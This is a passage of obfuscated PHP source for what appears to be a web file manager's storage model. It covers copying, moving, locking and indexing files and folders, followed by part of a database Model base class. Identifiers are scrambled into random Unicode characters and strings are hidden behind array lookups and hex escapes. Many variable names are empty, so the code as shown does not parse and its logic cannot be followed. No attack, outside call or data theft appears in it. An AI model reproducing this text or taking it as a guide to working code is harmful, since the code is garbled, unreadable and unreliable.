unset(self::$cacheSourceInfo[$ړ[498] . $Ϙ]); } $Ꭓܯ = $this->sourceInfo($Ϙ); if (!$Ꭓܯ) { show_json(LNG($ړ[105]), !1); } } private function _lockParent($, $О, $ݴ) { if (!$this->autoLockSet) { return; } $鮦 = $this->sourceInfo($); if (!is_array($鮦)) { return; } $ = array_reverse($this->parentLevelArray($鮦[$_SERVER[̧][549]])); foreach ($ as $װ) { $this->_lockEvent($װ, $О, $ݴ); } } private function _lockEvent($, $Ӥ, $) { $ܺ =& $_SERVER[̧]; if (!$this->autoLockSet) { return; } foreach ($Ӥ as $ޗ) { $ = $ޗ . $ܺ[10] . $; if ($ && CacheLock::lockGet($ܺ[594] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($ƈ, $ = 1) { $ޏ = $_SERVER[̧][594] . md5($ƈ); if ($) { if (isset(self::$_lockItemArr[$ޏ])) { return; } self::$_lockItemArr[$ޏ] = 1; CacheLock::lock($ޏ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$ޏ])) { return; } unset(self::$_lockItemArr[$ޏ]); CacheLock::unlock($ޏ); } } public function isParentOf($Ʒ, $) { $ =& $_SERVER[̧]; $ = $this->sourceInfo($Ʒ); $ = $this->sourceInfo($); $ = $[$[549]] . $[$[440]] . $[50]; $ = $[$[549]] . $[$[440]] . $[50]; $ҕ୺ = strpos($, $) === 0; return $ҕ୺; } private $targetIsDelete = 0; public function copy($, $׼, $ȶ = REPEAT_REPLACE, $肏 = '') { $򵝸ƴ =& $_SERVER[̧]; $ʣ = $this->sourceInfo($); $ = $this->sourceInfo($׼); if (!$ʣ || !$ || $[$򵝸ƴ[448]] != $򵝸ƴ[88]) { return !1; } if ($this->isParentOf($, $׼)) { return !1; } $ᛙ = $肏 ? $肏 : $ʣ[$򵝸ƴ[32]]; $this->lockCopyStart($); $this->lockWriteStart($׼, $ᛙ); $Ŝ = array($򵝸ƴ[595] => array(), $򵝸ƴ[596] => array(), $򵝸ƴ[597] => array()); $this->targetIsDelete = intval($ʣ[$򵝸ƴ[469]]); $ = $this->fileNameExistCache($׼, $ʣ[$򵝸ƴ[32]]); $ï = $this->_copy($, $׼, $ȶ, $Ŝ, !0, $肏); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($׼, $ᛙ); if ($ʣ[$򵝸ƴ[448]] == $򵝸ƴ[88] && $ == $ï) { $this->folderSizeResetChildren($); } Model($򵝸ƴ[598])->addAll($Ŝ[$򵝸ƴ[596]], array(), !0); if ($ != $ï || $ʣ[$򵝸ƴ[448]] == $򵝸ƴ[88]) { Model($򵝸ƴ[599])->eventCopy($ï); } $this->saveAll($Ŝ[$򵝸ƴ[597]]); Model($򵝸ƴ[200])->linkAdd($Ŝ[$򵝸ƴ[595]]); $this->folderSizeReset($׼); $this->updateModifyTime($׼); return $ï; } private function _copy($ə, $別, $ޥ, &$Ê, $絢, $ȏݰ = '') { $ƹ =& $_SERVER[̧]; $ = $this->sourceInfoCache($ə); $ = $[$ƹ[448]] == $ƹ[88]; $͞و = $ȏݰ ? $ȏݰ : $[$ƹ[32]]; $ = $this->fileNameExistCache($別, $͞و); if ($絢) { $this->_childrenAllMake($ə); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($ə, $別, $͞و, $Ê); } $䔿 = $; if ($) { if ($ޥ == REPEAT_RENAME_FOLDER) { $͞و = $this->fileNameAutoCache($別, $͞و, $ޥ, $); $䔿 = $this->_copyCreate($ə, $別, $͞و, $Ê); } else { $ = $this->_childrenList($ə); foreach ($ as $ä) { $this->_copy($ä[$ƹ[440]], $, $ޥ, $Ê, !1); } } } else { if ($ޥ == REPEAT_RENAME || $ޥ == REPEAT_RENAME_FOLDER) { $͞و = $this->fileNameAutoCache($別, $͞و, $ޥ, $); $䔿 = $this->_copyCreate($ə, $別, $͞و, $Ê); } else { if ($ޥ == REPEAT_REPLACE) { $ό = $this->sourceInfoCache($); $Э = $this->fileHistory($ό, $[$ƹ[506]], $[$ƹ[76]]); if ($Э) { $Ê[$ƹ[595]][] = $[$ƹ[506]]; } } else { if ($ޥ == REPEAT_SKIP) { } } } Hook::trigger($ƹ[600], array($ƹ[601], $, 0)); } return $䔿; } private function _copyCreate($똥, $۾, $֦, &$) { $Ѣ =& $_SERVER[̧]; $ꌽ = $this->sourceInfoCache($똥); $ = $this->sourceInfoCache($۾); $ = $this->_makeItemData($ꌽ, $, $֦); Hook::trigger($Ѣ[602], $); Hook::trigger($Ѣ[603], array($Ѣ[604], $, 0)); $Ǹ = $this->add($); $Χ = array($Ѣ[440] => $Ǹ, $Ѣ[32] => $֦); $this->_copyApplyMeta($Χ, $); if ($ꌽ[$Ѣ[448]] != $Ѣ[88]) { $[$Ѣ[595]][] = $ꌽ[$Ѣ[506]]; return $Ǹ; } $ = array(); $ؕ = array(); $this->_childrenListAll($똥, $); $ = count($); if ($ == 0) { return $Ǹ; } $ = $this->sourceInfo($Ǹ); foreach ($ as $Ř) { $㿲 = $this->_makeItemData($Ř, $, $Ř[$Ѣ[32]]); $㿲[$Ѣ[549]] = $Ř[$Ѣ[549]]; $ؕ[] = $㿲; } $this->chunkEventSet($Ѣ[605], array($Ѣ[606], $, $)); $this->addAll($ؕ, array(), !1); $ = $this->where(array($Ѣ[470] => $Ǹ))->select(); $ = $this->_childrenMakeRelation($, $); $[$똥] = $Ǹ; $ = array(); $̚ = array(); foreach ($ as $Ř) { $պꚧ = $Ř[$Ѣ[440]]; $׵ = $this->_childrenMatch($, $Ř, $); $[] = array($Ѣ[440], $պꚧ, $Ѣ[470], $׵[$Ѣ[470]]); $̚[] = array($Ѣ[440], $պꚧ, $Ѣ[549], $׵[$Ѣ[549]]); $this->_copyApplyMeta($Ř, $); if ($Ř[$Ѣ[448]] != $Ѣ[88]) { $[$Ѣ[595]][] = $Ř[$Ѣ[506]]; } } $this->chunkEventSet($Ѣ[607], array($Ѣ[608], $, $)); $this->saveAll($); $this->chunkEventSet($Ѣ[609], array($Ѣ[610], $, $)); $this->saveAll($̚); return $Ǹ; } private function _childrenMakeRelation($, $ׄз) { $ =& $_SERVER[̧]; $ꅢɷ = array(); $ = array(); foreach ($ as $) { $ϫ = $[$[32]] . $[8] . $[$[549]]; $ꅢɷ[$ϫ] = $[$[440]]; } foreach ($ׄз as $) { $ϫ = $[$[32]] . $[8] . $[$[549]]; $͋ = $ꅢɷ[$ϫ]; $[$͋] = $[$[440]]; } return $; } private function _childrenMatch($塐, $, $Μ) { $͘ő =& $_SERVER[̧]; $Ӯ = $Μ[$͘ő[549]]; $ߜ = $this->parentLevelArray($[$͘ő[549]]); foreach ($ߜ as $ľ) { if (isset($塐[$ľ])) { $Ӯ .= $塐[$ľ] . $͘ő[611]; } } $Ӯ = rtrim($Ӯ, $͘ő[50]) . $͘ő[50]; $ = $this->parentLevelArray($Ӯ); $б = $[count($) - 1]; return array($͘ő[470] => $б, $͘ő[549] => $Ӯ); } private function _makeItemData($, $Ջ, $߬) { $ߞ =& $_SERVER[̧]; $ŕ܏ = array($ߞ[612] => $[$ߞ[448]], $ߞ[458] => $߬, $ߞ[613] => $[$ߞ[450]] ? $[$ߞ[450]] : $ߞ[12], $ߞ[507] => $[$ߞ[506]] ? $[$ߞ[506]] : 0, $ߞ[583] => $[$ߞ[76]] ? $[$ߞ[76]] : 0, $ߞ[614] => intval($Ջ[$ߞ[449]]), $ߞ[615] => intval($Ջ[$ߞ[534]]), $ߞ[616] => intval(USER_ID), $ߞ[617] => intval(USER_ID), $ߞ[439] => intval($Ջ[$ߞ[440]]), $ߞ[618] => $Ջ[$ߞ[549]] . $Ջ[$ߞ[440]] . $ߞ[50], $ߞ[462] => $[$ߞ[85]] ? $[$ߞ[85]] : time(), $ߞ[468] => 0, $ߞ[619] => $ߞ[12]); return $ŕ܏; } private function _copyApplyMeta($, &$) { $ĩ =& $_SERVER[̧]; $̈́ = $[$ĩ[440]]; $Џ = $[$ĩ[32]]; if (!isset($[$ĩ[620]]) || !$[$ĩ[620]] || $[$ĩ[620]] == $ĩ[198]) { $[$ĩ[597]][] = array($ĩ[440], $̈́, $ĩ[620], short_id($̈́)); } if (Input::check($Џ, $ĩ[621])) { $[$ĩ[596]][] = array($ĩ[440] => $̈́, $ĩ[94] => $ĩ[503], $ĩ[403] => str_replace($ĩ[53], $ĩ[12], Pinyin::get($Џ))); $[$ĩ[596]][] = array($ĩ[440] => $̈́, $ĩ[94] => $ĩ[502], $ĩ[403] => Pinyin::get($Џ, $ĩ[622])); } $[$ĩ[596]][] = array($ĩ[440] => $̈́, $ĩ[94] => $ĩ[482], $ĩ[403] => KodSort::makeStr($Џ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($ٔ) { $ھ =& $_SERVER[̧]; $ = $this->sourceInfo($ٔ); $ = $ھ[623]; $Ù = array($ھ[549] => array($ھ[578], $[$ھ[549]] . $ٔ . $ھ[579]), $ھ[469] => $this->targetIsDelete); $ݝ = $this->field($)->where($Ù)->select(); if (!$ݝ) { return; } $ݝ = array_to_keyvalue($ݝ, $ھ[440]); foreach ($ݝ as $舷) { $鎂 = $舷[$ھ[470]]; $ٔ = $舷[$ھ[440]]; if (!isset($this->_childrenListCache[$ٔ]) && $舷[$ھ[448]] == $ھ[88]) { $this->_childrenListCache[$ٔ] = array(); } if (!isset($this->_childrenListCache[$鎂])) { $this->_childrenListCache[$鎂] = array(); } $this->_childrenListCache[$鎂][$ٔ] = $舷; $this->_childrenItemCache[$ٔ] = $舷; } } private function _childrenListAll($̯, &$) { $פ =& $_SERVER[̧]; if (!isset($this->_childrenListCache[$̯])) { return; } $قɼ = $this->_childrenListCache[$̯]; foreach ($قɼ as $ڰ => $ٛ) { $[$ڰ] = $ٛ; if ($ٛ[$פ[448]] == $פ[88]) { $this->_childrenListAll($ڰ, $); } } } private function sourceInfoCache($ɛ) { if (isset($this->_childrenItemCache[$ɛ])) { return $this->_childrenItemCache[$ɛ]; } return $this->sourceInfo($ɛ); } private function _childrenList($כՉ) { if (isset($this->_childrenListCache[$כՉ])) { return $this->_childrenListCache[$כՉ]; } return $this->_childrenListSelect($כՉ); } private function _childrenListSelect($ڈ) { $ǒ =& $_SERVER[̧]; $ҽٙ = array($ǒ[470] => $ڈ, $ǒ[469] => $this->targetIsDelete); $ = $this->where($ҽٙ)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $ǒ[440]); $this->_childrenListCache[$ڈ] = $; foreach ($ as $ڈ => $ԥ) { $this->_childrenItemCache[$ڈ] = $ԥ; } return $; } private function fileNameExistCache($à, $Ӯ) { $Ź =& $_SERVER[̧]; $Ӯ = strtolower($Ӯ); $ӵї = $this->_childrenList($à); foreach ($ӵї as $άش) { if ($Ӯ == strtolower($άش[$Ź[32]])) { return $άش[$Ź[440]]; } } return !1; } private function fileNameAutoCache($, $Ł, $Ų慄, $Ϗ) { $Ř穔 =& $_SERVER[̧]; $씮 = $this->_childrenList($); $ = array_to_keyvalue($씮, $Ř穔[12], $Ř穔[32]); return $this->fileNameAutoGet($, $Ł, $Ų慄, $Ϗ); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($պ, $, $ = REPEAT_REPLACE, $ = '') { $㾬 =& $_SERVER[̧]; $䏉 = $this->sourceInfo($պ); $䈓 = $this->sourceInfo($); if ($䏉[$㾬[470]] == $䈓[$㾬[440]]) { if ($䏉[$㾬[469]] == $㾬[88]) { Model($㾬[467])->restore(array($պ)); } if (!$ || $ == $䏉[$㾬[32]]) { return $պ; } } $ϋ = $this->pathInfoMore($պ); if ($this->isParentOf($պ, $)) { return !1; } if (!$䏉 || !$䈓 || $䈓[$㾬[448]] != $㾬[88]) { return !1; } Hook::trigger($㾬[624], $ϋ); $this->targetIsDelete = intval($䏉[$㾬[469]]); if ($䏉[$㾬[470]] == $ && $ != $䏉[$㾬[32]]) { $繚 = $this->fileNameExist($, $); if ($繚 && $䏉[$㾬[448]] == $㾬[198]) { $ֿ = $this->sourceInfo($繚); $ά = $this->fileHistory($ֿ, $䏉[$㾬[506]], $䏉[$㾬[76]]); if (!$ά) { Model($㾬[509])->remove($䏉[$㾬[506]]); } $this->removeNow($պ, !1); $this->folderSizeReset($); Hook::trigger($㾬[625], $ϋ); return $繚; } } $ڰ = $ ? $ : $䏉[$㾬[32]]; $this->lockMoveStart($պ); $this->lockWriteStart($, $ڰ); $ = array($㾬[595] => array(), $㾬[626] => !1); $this->clearShare($պ, $); $ު = $this->fileNameExistCache($, $䏉[$㾬[32]]); $ӿ݌ = $this->_move($պ, $, $, $, $); $this->sourceCacheClear(); if ($䏉[$㾬[448]] == $㾬[88] && $ު) { $this->folderSizeResetChildren($ӿ݌); } Model($㾬[200])->linkAdd($[$㾬[595]]); if ($ު && $[$㾬[626]]) { $this->removeNow($պ, !1); } $this->lockMoveEnd($պ); $this->lockWriteEnd($, $ڰ); $this->folderSizeReset($䏉[$㾬[470]]); $this->folderSizeReset($); $ޖٙ = array($䏉[$㾬[470]], $); if ($䏉[$㾬[448]] == $㾬[88]) { $ޖٙ[] = $պ; } $this->updateModifyTime($ޖٙ); Model($㾬[599])->eventMove($պ, $䏉[$㾬[470]], $); Hook::trigger($㾬[625], $ϋ); return $ӿ݌; } private function _move($, $, $ޣ, &$Ⱥڦ, $‘ = '') { $ =& $_SERVER[̧]; $澂 = $this->sourceInfo($); $ = $澂[$[448]] == $[88]; $݌ = $‘ ? $‘ : $澂[$[32]]; $ = $this->fileNameExistCache($, $݌); $this->lockMoveStart($); $this->lockWriteStart($, $݌); if (!$) { return $this->_moveForce($, $, $݌); } $ = $; $ִ = !1; if ($) { if ($ޣ == REPEAT_RENAME_FOLDER) { $݌ = $this->fileNameAuto($, $݌, $ޣ, $); $ = $this->_moveForce($, $, $݌); } else { if ($ޣ == REPEAT_RENAME_FOLDER) { $ޣ = REPEAT_RENAME; } $ݾ = $this->_childrenListSelect($); foreach ($ݾ as $) { $this->_move($[$[440]], $, $ޣ, $Ⱥڦ); } $ִ = !0; } } else { if ($ޣ == REPEAT_SKIP) { $ִ = !0; } else { if ($ޣ == REPEAT_RENAME || $ޣ == REPEAT_RENAME_FOLDER) { $݌ = $this->fileNameAuto($, $݌, $ޣ, $); $ = $this->_moveForce($, $, $݌); } else { if ($ޣ == REPEAT_REPLACE) { $Ȅ = $this->sourceInfoCache($); $ܡ = $this->fileHistory($Ȅ, $澂[$[506]], $澂[$[76]]); $ִ = !0; if ($ܡ) { $Ⱥڦ[$[595]][] = $澂[$[506]]; } } } } } if ($ִ && !$Ⱥڦ[$[626]]) { $Ⱥڦ[$[626]] = !0; } return $; } private function _moveForce($ΐ, $ӑ, $۱̍) { $ =& $_SERVER[̧]; $ = $this->sourceInfo($ΐ); $ʟ = $this->sourceInfo($ӑ); $ŝ׈ = $[$[448]] == $[88]; $Į = array($[439] => $ʟ[$[440]], $[618] => $ʟ[$[549]] . $ʟ[$[440]] . $[50], $[614] => $ʟ[$[449]], $[615] => $ʟ[$[534]], $[617] => USER_ID, $[458] => $۱̍); $ܦ = $[$[449]] == SourceModel::TYPE_GROUP && $ʟ[$[449]] == SourceModel::TYPE_GROUP && $[$[534]] == $ʟ[$[534]]; if (!$ܦ && $this->moveClearAuth) { Model($[531])->authClear($ΐ); } $ū = $[$[469]] == $[88] && $ʟ[$[469]] != $[88]; if ($ū) { $Į[$[468]] = 0; } if ($ŝ׈) { $Ѐ = array($[618] => array($[578], $[$[549]] . $[$[440]] . $[579])); $͒ = $[$[549]] . $[$[440]] . $[50]; $Η = $ʟ[$[549]] . $ʟ[$[440]] . $[50] . $[$[440]] . $[50]; $ = array($[618] => array($[627], "\x72\145\x70\154\x61\143\x65\x28\160\141\x72\145\156\164\114\x65\x76\145\154\54\x27{$͒}\47\54\47{$Η}\x27\x29"), $[614] => $ʟ[$[449]], $[615] => $ʟ[$[534]]); if ($ū) { $[$[468]] = 0; } $this->where($Ѐ)->data($)->save(); } $this->where(array($[455] => $ΐ))->data($Į)->save(); return $ΐ; } private function clearShare($ؽ, $) { $ޑ =& $_SERVER[̧]; $ = $this->sourceInfo($ؽ); $ϼ = $this->sourceInfo($); if ($[$ޑ[534]] == $ϼ[$ޑ[534]] && $[$ޑ[449]] == $ޑ[628]) { return; } $ = array($ޑ[549] => array($ޑ[578], $[$ޑ[549]] . $ؽ . $ޑ[579])); $ = $this->field($ޑ[455])->where($)->getField($ޑ[440], !0); if (!$) { return; } $ = array($ޑ[440] => array($ޑ[7], $), $ޑ[629] => 1); $ƈԙ = Model($ޑ[630])->field($ޑ[631])->where($)->select(); if (!$ƈԙ) { return; } $ƈԙ = array_to_keyvalue($ƈԙ, $ޑ[12], $ޑ[631]); $ = array($ޑ[631] => array($ޑ[7], $ƈԙ)); Model($ޑ[630])->where($)->save(array($ޑ[629] => 0)); Model($ޑ[632])->where($)->delete(); } public function copyFolderFromIO($͉, $, $, $쏫, $㿨, $ = false) { $ =& $_SERVER[̧]; $ = array($[596] => array(), $[597] => array(), $[595] => array(), $[633] => array()); $蚱ɛ = $ ? $ : $͉->pathThis($); $ = $this->fileNameExist($, $蚱ɛ); $ǒ = $this->mkdir($, $蚱ɛ, $쏫); if (!$ || $쏫 == REPEAT_RENAME_FOLDER) { $쏫 = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[634]); $this->_copyChildTo($͉, $, $ǒ, $쏫, $, $㿨); Hook::trigger($[635]); if ($ǒ) { $this->folderSizeResetChildren($ǒ); } $this->_childrenListClear(); Model($[598])->addAll($[$[596]], array(), !0); Model($[599])->eventCopy($ǒ); $this->saveAll($[$[597]]); Model($[509])->linkAdd($[$[595]]); Model($[509])->remove($[$[633]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ǒ; } private function _copyChildTo($س, $Ʒ, $ل, $ן, &$, $) { $͊ =& $_SERVER[̧]; $ = $this->sourceInfoCache($ل); $ = $س->listPath($Ʒ); $ = $ ? $ : array($͊[83] => array(), $͊[82] => array()); $ӳ = array_merge($[$͊[83]], $[$͊[82]]); $ٓ = $this->_addFiles($س, $[$͊[83]], $); $ϫ = array(); foreach ($ӳ as &$) { if (isset($ٓ[$[$͊[32]]])) { $ = $ٓ[$[$͊[32]]]; } $[$͊[448]] = $[$͊[33]] == $͊[75]; $[$͊[450]] = substr(_get($, $͊[174], $͊[12]), 0, 10); $[$͊[76]] = _get($, $͊[76], 0); $[$͊[506]] = _get($, $͊[506], 0); if (!isset($[$͊[636]]) && $[$͊[506]]) { $[$͊[633]][] = $[$͊[506]]; } if ($ן) { $Ҕ = $this->fileNameExistCache($ل, $[$͊[32]]); if ($Ҕ) { if ($[$͊[448]] || $ן == REPEAT_SKIP) { continue; } if ($ן == REPEAT_REPLACE) { $ = $this->sourceInfoCache($Ҕ); $챤 = $this->fileHistory($, $[$͊[506]], $[$͊[76]]); if ($챤) { $[$͊[595]][] = $[$͊[506]]; } continue; } else { if ($ן == REPEAT_RENAME) { $[$͊[32]] = $this->fileNameAutoCache($ل, $[$͊[32]], $ן, !1); } } } } if (!$[$͊[448]] && $[$͊[506]] == 0) { continue; } if (!$[$͊[448]] && $[$͊[506]]) { $[$͊[595]][] = $[$͊[506]]; } $ϫ[] = $this->_makeItemData($, $, $[$͊[32]]); } unset($); if (!empty($ϫ)) { $this->addAll($ϫ); $this->_childrenListSelect($ل); } $ = $this->_childrenList($ل); $ = array_to_keyvalue($, $͊[32]); foreach ($ӳ as $) { $ = $[$[$͊[32]]]; $ȕ = $[$͊[440]]; $this->_copyApplyMeta($, $); if ($[$͊[33]] == $͊[75]) { $[$͊[84]] = $س->getPathInner($[$͊[84]]); $this->_copyChildTo($س, $[$͊[84]], $ȕ, $ן, $, $); } } } private function _addFiles($ĕ, $, $ǟ) { $ְ =& $_SERVER[̧]; if (!$ || count($) == 0) { return array(); } $λ = array(); foreach ($ as &$ƛ) { Hook::trigger($ְ[637], $ƛ); $ƛ[$ְ[84]] = $ĕ->getPathInner($ƛ[$ְ[84]]); $Ԛ۹ = $ĕ->hashSimple($ƛ[$ְ[84]]); $ = $ĕ->hashMd5($ƛ[$ְ[84]]); if (strlen($) > 10 && !isset($λ[$])) { $λ[$] = array(); } $ƛ[$ְ[177]] = $Ԛ۹; $ƛ[$ְ[176]] = $; $λ[$][] =& $ƛ; if (count($λ[$]) > 1) { $ƛ[$ְ[636]] = !0; } Hook::trigger($ְ[638], $ƛ); } unset($ƛ); $⹣ = array($ְ[176] => array($ְ[7], array_keys($λ))); $ń = Model($ְ[639]); $ = $ń->where($⹣)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($λ[$[$ְ[176]]])) { continue; } $̰ݳ = $λ[$[$ְ[176]]]; foreach ($̰ݳ as &$ƛ) { $ƛ[$ְ[506]] = $[$ְ[506]]; $ƛ[$ְ[636]] = !0; } unset($ƛ); } $ = array(); foreach ($ as $Ƚ) { Hook::trigger($ְ[640], $Ƚ); if (isset($Ƚ[$ְ[636]]) && $Ƚ[$ְ[636]]) { Hook::trigger($ְ[641], $Ƚ); continue; } $瑵 = $ĕ->getPathInner($Ƚ[$ְ[84]]); $ = $ń->addFileMake($瑵, $Ƚ[$ְ[76]], $Ƚ[$ְ[177]], $Ƚ[$ְ[176]], $Ƚ[$ְ[32]], $ǟ); Hook::trigger($ְ[641], $Ƚ); if (!is_array($)) { continue; } $[] = $; } $ń->addAll($); $⹣ = array($ְ[176] => array($ְ[7], array_keys($λ))); $ = $ń->where($⹣)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($λ[$[$ְ[176]]])) { continue; } $ =& $λ[$[$ְ[176]]]; foreach ($ as &$ƛ) { $ƛ[$ְ[506]] = $[$ְ[506]]; } unset($ƛ); } $Ԅ = array(); foreach ($ as $) { $Ԅ[$[$ְ[32]]] = $; } return $Ԅ; } } define($_SERVER[̧][642], $_SERVER[̧][643]); $bndeipqwyx = $_SERVER[̧][644]; goto a̲͕; F: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[ې][3]] = (base64_decode('ODIxMA==')."\x39\x30")+0;$_oiqn="9tz25yc0wve4irlojh76fkmpanux1sbd38qgdbxckejmp1sv506giz4l73qohfwa29tur";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $̰) { $ =& $_SERVER[̧]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $̰); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $̰); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static function __callStatic($, $) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $); } else { show_json("{$}\x28\51\x20\156\157\164\40\x65\170\151\163\x74\73", !1); } } } public static function addMethod($, $̌) { self::$_methodList[$] = $̌; } public static function addMethodStatic($, $׬) { self::$_methodListStatic[$] = $׬; } } goto e; Dς¯: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\x62\154\145", "\157\x72\x64\145\x72", "\x61\154\x69\141\x73", "\150\x61\166\x69\x6e\147", "\x67\x72\x6f\x75\160", "\x6c\157\x63\153", "\144\x69\163\164\151\156\143\x74", "\141\165\x74\157", "\x66\x69\154\x74\x65\162", "\166\141\x6c\151\x64\x61\164\145", "\x72\145\x73\165\x6c\164", "\x62\151\x6e\x64", "\164\x6f\x6b\x65\x6e"); public function __construct($˜ = '', $ = '', $Ŀ = '') { $ =& $_SERVER[̧]; $this->_initialize(); if (!empty($˜)) { if (strpos($˜, $[10])) { list($this->dbName, $this->name) = explode($[10], $˜); } else { $this->name = $˜; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[273]); } $this->db(0, empty($this->connection) ? $Ŀ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[̧]; if (empty($this->fields)) { if (think_config($[274])) { $ = $this->dbName ? $this->dbName : think_config($[275]); $¹ = think_var_cache($[276] . strtolower(get_path_this($) . $[10] . $this->name)); if ($¹) { $Ȣ = think_config($[277]); if (empty($Ȣ) || $¹[$[278]] == $Ȣ) { $this->fields = $¹; return; } } } $this->flush(); } } public function flush() { $і =& $_SERVER[̧]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$і[279]] = !1; foreach ($ as $ => $ڲ) { $[$] = $ڲ[$і[33]]; if ($ڲ[$і[39]]) { $this->fields[$і[280]] = $; if ($ڲ[$і[42]]) { $this->fields[$і[279]] = !0; } } } $this->fields[$і[281]] = $; if (think_config($і[277])) { $this->fields[$і[278]] = think_config($і[277]); } if (think_config($і[274])) { $̑ = $this->dbName ? $this->dbName : think_config($і[275]); think_var_cache($і[276] . strtolower(get_path_this($̑) . $і[10] . $this->name), $this->fields); } } public function switchModel($ɼ, $· = array()) { $ =& $_SERVER[̧]; $턻֠ = ucwords(strtolower($ɼ)) . $[282]; if (!class_exists($턻֠)) { think_exception($턻֠ . think_lang($[283])); } $this->_extModel = new $턻֠($this->name); if (!empty($·)) { foreach ($· as $͹) { $this->_extModel->setProperty($͹, $this->{$͹}); } } return $this->_extModel; } public function __set($̨, $ܚ) { $this->data[$̨] = $ܚ; } public function __get($Й) { return isset($this->data[$Й]) ? $this->data[$Й] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($ރи͛) { unset($this->data[$ރи͛]); } public function __call($Ž, $܄) { $ՌŊ =& $_SERVER[̧]; if (in_array(strtolower($Ž), $this->methods, !0)) { $this->options[strtolower($Ž)] = $܄[0]; return $this; } elseif (in_array(strtolower($Ž), array($ՌŊ[284], $ՌŊ[285], $ՌŊ[286], $ՌŊ[287], $ՌŊ[288]), !0)) { $ = isset($܄[0]) ? $܄[0] : $ՌŊ[189]; $ = $this->db->parseKey($); return $this->getField(strtoupper($Ž) . $ՌŊ[289] . $ . $ՌŊ[290] . $Ž, $ՌŊ[284]); } elseif (strtolower(substr($Ž, 0, 5)) == $ՌŊ[291]) { $ = think_parse_name(substr($Ž, 5)); $􇹣[$] = $܄[0]; return $this->where($􇹣)->find(); } elseif (strtolower(substr($Ž, 0, 10)) == $ՌŊ[292]) { $ = think_parse_name(substr($Ž, 10)); $􇹣[$] = $܄[0]; return $this->where($􇹣)->getField($܄[1]); } elseif (isset($this->_scope[$Ž])) { return $this->scope($Ž, $܄[0]); } elseif (method_exists($this, $Ž)) { array_unshift($܄, $Ž); return call_user_func_array(array($this, $ՌŊ[293]), $܄); } else { return call_user_func_array(array(parent, $Ž), $܄); } } protected function call() { $ =& $_SERVER[̧]; $Ǽ = func_get_args(); $ = array_shift($Ǽ); $Ѓ = $; if (is_array($)) { $Ѓ = $[1]; $ = $[0]; } $嶄 = count($Ǽ) - 1; if (isset($Ǽ[$嶄]) && $Ǽ[$嶄] === $) { think_exception(__CLASS__ . $[4] . $ . think_lang($[294])); return; } $Ǽ[] = $; if (method_exists($this, $[295])) { $Ğܨ = call_user_func_array(array($this, $[296]), array($Ѓ, $Ǽ)); if (!is_null($Ğܨ) && $Ğܨ !== !1) { return $Ğܨ; } } $ȧ = call_user_func_array(array($this, $), $Ǽ); if (method_exists($this, $[297])) { $Ğܨ = call_user_func_array(array($this, $[298]), array($Ѓ, $Ǽ, $ȧ)); if ($Ğܨ) { return $Ğܨ; } } return $ȧ; } protected function _initialize() { } protected function _facade($ራ) { $ =& $_SERVER[̧]; if (!empty($this->fields)) { foreach ($ራ as $ => $ѝى) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($ራ[$]); } elseif (is_scalar($ѝى)) { $this->_parseType($ራ, $); } } } if (!empty($this->options[$[299]])) { $ራ = array_map($this->options[$[299]], $ራ); unset($this->options[$[299]]); } $this->_beforeWrite($ራ); return $ራ; } protected function _beforeWrite(&$) { } public function add($ڥ = '', $١ = array(), $ = false) { if (empty($ڥ)) { if (!empty($this->data)) { $ڥ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[̧][300]); return !1; } } $١ = $this->_parseOptions($١); $ڥ = $this->_facade($ڥ); if (!1 === $this->_beforeInsert($ڥ, $١)) { return !1; } $燕 = $this->db->insert($ڥ, $١, $); if (!1 !== $燕) { $Ёڶ = $this->getLastInsID(); if ($Ёڶ) { $ڥ[$this->getPk()] = $Ёڶ; $this->_after_insert($ڥ, $١); return $Ёڶ; } $this->_after_insert($ڥ, $١); } return $燕; } protected function _beforeInsert(&$Ʀ, $) { } protected function _after_insert($, $ۘ) { } public function addAll($, $ = array(), $Ǟ = false) { $ԃ =& $_SERVER[̧]; if (empty($)) { $this->error = think_lang($ԃ[300]); return !1; } $ = $this->_parseOptions($); foreach ($ as $֒ => $) { $[$֒] = $this->_facade($); } if (method_exists($this->db, $ԃ[301])) { $ = $this->db->insertAll($, $, $Ǟ); } else { $this->startTrans(); foreach ($ as $֒ => $) { $ = $this->db->insert($, $, $Ǟ); } $this->commit(); } if (!1 !== $) { $Ӽ = $this->getLastInsID(); if 